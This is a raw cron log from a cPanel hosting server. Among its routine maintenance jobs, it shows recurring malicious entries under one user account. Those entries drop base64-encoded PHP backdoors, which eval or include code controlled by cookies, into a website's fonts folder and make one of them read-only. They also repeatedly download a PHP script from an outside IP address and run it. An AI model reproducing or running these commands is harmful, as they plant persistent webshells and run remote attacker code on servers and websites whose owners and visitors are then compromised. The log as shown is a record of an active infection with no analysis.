Sep  7 09:01:01 ip-184-168-122-23 CROND[29676]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  7 09:01:01 ip-184-168-122-23 CROND[29678]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  7 09:01:01 ip-184-168-122-23 CROND[29680]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  7 09:01:01 ip-184-168-122-23 CROND[29682]: (root) CMD (run-parts /etc/cron.hourly)
Sep  7 09:01:01 ip-184-168-122-23 run-parts(/etc/cron.hourly)[29682]: starting 0anacron
Sep  7 09:01:01 ip-184-168-122-23 run-parts(/etc/cron.hourly)[29695]: finished 0anacron
Sep  7 09:02:01 ip-184-168-122-23 CROND[29785]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  7 09:02:01 ip-184-168-122-23 CROND[29786]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  7 09:02:01 ip-184-168-122-23 CROND[29789]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  7 09:02:01 ip-184-168-122-23 CROND[29790]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  7 09:02:01 ip-184-168-122-23 CROND[29791]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  7 09:03:02 ip-184-168-122-23 CROND[29906]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  7 09:03:02 ip-184-168-122-23 CROND[29905]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  7 09:03:02 ip-184-168-122-23 CROND[29908]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  7 09:03:02 ip-184-168-122-23 CROND[29907]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  7 09:04:01 ip-184-168-122-23 CROND[30000]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  7 09:04:01 ip-184-168-122-23 CROND[30004]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  7 09:04:01 ip-184-168-122-23 CROND[30003]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  7 09:04:01 ip-184-168-122-23 CROND[30005]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  7 09:04:01 ip-184-168-122-23 CROND[30002]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  7 09:05:01 ip-184-168-122-23 CROND[30106]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  7 09:05:02 ip-184-168-122-23 CROND[30116]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Sep  7 09:05:02 ip-184-168-122-23 CROND[30113]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  7 09:05:02 ip-184-168-122-23 CROND[30114]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  7 09:05:02 ip-184-168-122-23 CROND[30112]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  7 09:05:02 ip-184-168-122-23 CROND[30115]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  7 09:05:02 ip-184-168-122-23 CROND[30117]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  7 09:06:01 ip-184-168-122-23 CROND[30290]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  7 09:06:01 ip-184-168-122-23 CROND[30294]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  7 09:06:01 ip-184-168-122-23 CROND[30292]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  7 09:06:01 ip-184-168-122-23 CROND[30293]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  7 09:06:01 ip-184-168-122-23 CROND[30295]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  7 09:07:01 ip-184-168-122-23 CROND[30420]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  7 09:07:01 ip-184-168-122-23 CROND[30419]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  7 09:07:01 ip-184-168-122-23 CROND[30422]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  7 09:07:01 ip-184-168-122-23 CROND[30421]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  7 09:08:02 ip-184-168-122-23 CROND[30607]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  7 09:08:02 ip-184-168-122-23 CROND[30608]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  7 09:08:02 ip-184-168-122-23 CROND[30610]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  7 09:08:02 ip-184-168-122-23 CROND[30614]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  7 09:08:02 ip-184-168-122-23 CROND[30616]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  7 09:09:01 ip-184-168-122-23 CROND[30707]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  7 09:09:01 ip-184-168-122-23 CROND[30708]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  7 09:09:01 ip-184-168-122-23 CROND[30709]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  7 09:09:01 ip-184-168-122-23 CROND[30712]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  7 09:09:01 ip-184-168-122-23 CROND[30711]: (root) CMD (/usr/local/cpanel/scripts/clean_user_php_sessions > /dev/null 2>&1)
Sep  7 09:10:01 ip-184-168-122-23 CROND[30810]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  7 09:10:01 ip-184-168-122-23 CROND[30814]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  7 09:10:01 ip-184-168-122-23 CROND[30812]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  7 09:10:01 ip-184-168-122-23 CROND[30813]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep  7 09:10:01 ip-184-168-122-23 CROND[30815]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  7 09:10:01 ip-184-168-122-23 CROND[30817]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  7 09:10:01 ip-184-168-122-23 CROND[30816]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  7 09:10:01 ip-184-168-122-23 CROND[30818]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  7 09:11:01 ip-184-168-122-23 CROND[30916]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  7 09:11:01 ip-184-168-122-23 CROND[30918]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  7 09:11:01 ip-184-168-122-23 CROND[30917]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  7 09:11:01 ip-184-168-122-23 CROND[30919]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  7 09:12:01 ip-184-168-122-23 CROND[31021]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  7 09:12:01 ip-184-168-122-23 CROND[31022]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  7 09:12:01 ip-184-168-122-23 CROND[31023]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  7 09:12:01 ip-184-168-122-23 CROND[31024]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  7 09:12:01 ip-184-168-122-23 CROND[31025]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  7 09:13:01 ip-184-168-122-23 CROND[31137]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  7 09:13:01 ip-184-168-122-23 CROND[31136]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
